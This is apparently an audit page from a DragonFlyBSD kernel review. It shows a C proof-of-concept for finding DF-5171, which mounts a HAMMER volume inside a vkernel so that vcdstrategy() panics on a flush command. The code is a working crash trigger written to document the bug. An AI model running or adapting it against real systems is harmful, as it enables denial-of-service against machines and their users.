⬢ DragonFlyBSD Kernel Audit
DF-5171 / vcd_flush_poc.c
← back to finding ↓ download raw
/*
 * DF-5171 PoC (B) - vcdstrategy() panics on BUF_CMD_FLUSH (HAMMER path).
 *
 * Runs as PID1 inside: vkernel64 -m 256M -r root.img -c hammer.img \
 *                          -e init_path=/poc
 *
 * Chain: mount -o rw hammer /dev/vcd0 /mnt
 *        -> mount-time recovery and/or the first flusher cycle call
 *           hammer_io_wait_all(..., 1) -> hammer_io_flush_sync()
 *        -> BUF_CMD_FLUSH bio (b_bcount=0, bio_offset=0) via
 *           vn_strategy(volume->devvp)			(hammer_io.c:1989-2007)
 *        -> diskstrategy -> dscheck (passes) -> vcdstrategy()
 *        -> default: panic("vcd: bad b_cmd 5")
 *
 * Expected: "MOUNTING hammer..." then vkernel panic
 *           "panic: vcd: bad b_cmd 5"; mount(2) never returns.
 */
#include <errno.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdarg.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/mount.h>

int mount(const char *, const char *, int, void *);

/* verbatim from sys/vfs/hammer/hammer_mount.h (same order = same layout) */
struct hammer_mount_info {
	char		**volumes;	/* array of pointers to device names */
	int		nvolumes;	/* number of devices */
	int		hflags;		/* extended hammer mount flags */
	int		master_id;	/* -1=no-mirror mode, or 0-15 */
	uint64_t	asof;		/* asof - HAMMER_MAX_TID is current */
	char		reserved1[136];	/* was struct export_args */
	uint64_t	reserved2[15];
};

static int consfd = -1;

static void
logmark(const char *fmt, ...)
{
	va_list ap;
	char buf[512];
	int n;

	va_start(ap, fmt);
	n = vsnprintf(buf, sizeof(buf), fmt, ap);
	va_end(ap);
	if (n > 0) {
		int fd = open("/marker", O_WRONLY | O_CREAT | O_APPEND, 0644);
		if (fd >= 0) {
			write(fd, buf, n);
			close(fd);
		}
		if (consfd < 0)
			consfd = open("/dev/console", O_WRONLY);
		if (consfd >= 0)
			write(consfd, buf, n);
	}
}

int
main(void)
{
	static struct hammer_mount_info info;
	static char *vols[2];

	logmark("DF-5171(B) vcd FLUSH panic PoC (hammer) start\n");
	mkdir("/mnt", 0777);

	vols[0] = "/dev/vcd0";
	info.volumes = vols;
	info.nvolumes = 1;
	info.master_id = -1;

	logmark("MOUNTING hammer on /dev/vcd0 (rw)...\n");
	if (mount("hammer", "/mnt", 0 /* rw */, &info) < 0) {
		logmark("mount(hammer) FAILED errno=%d\n", errno);
		logmark("RESULT: mount-failed\n");
		return (1);
	}
	logmark("mount(hammer) returned OK\n");
	sleep(15);
	logmark("RESULT: no-panic (STILL ALIVE after 15s)\n");
	return (0);
}